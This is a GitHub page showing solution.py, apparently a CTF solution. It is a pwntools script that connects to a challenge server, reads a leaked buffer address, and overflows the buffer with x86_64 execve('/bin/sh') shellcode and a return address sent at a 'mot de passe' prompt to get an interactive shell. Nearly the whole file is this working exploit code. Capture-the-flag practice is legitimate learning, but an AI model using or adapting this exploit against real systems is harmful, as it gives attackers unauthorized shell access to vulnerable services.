-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsolution.py
More file actions
38 lines (33 loc) · 847 Bytes
/
Copy pathsolution.py
File metadata and controls
38 lines (33 loc) · 847 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *
context.update(arch="amd64", timeout=1)
p = remote("ctf.example.org", 4104)
# get buffer address
p.recvuntil(b"0x")
ptr_repr = p.recvlineS()
# search "shortest shellcode x86_64", first google result):
shellcode = """
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall
"""
# fix: shellcode pushes to stack, overriding the shellcode himself. so we add this instruction to get enough space:
shellcode = "pop rax\npop rax\n" + shellcode
log.warn("shellcode len: " + str(len(asm(shellcode))))
# generate flat payload (shellcode + filling + buffer ptr)
log.info("Payload:")
payload = flat(
{
0: asm(shellcode),
"ahaa": unhex(ptr_repr)[::-1],
}
)
log.hexdump(payload)
p.sendlineafter(b"mot de passe:\n", payload)
p.interactive()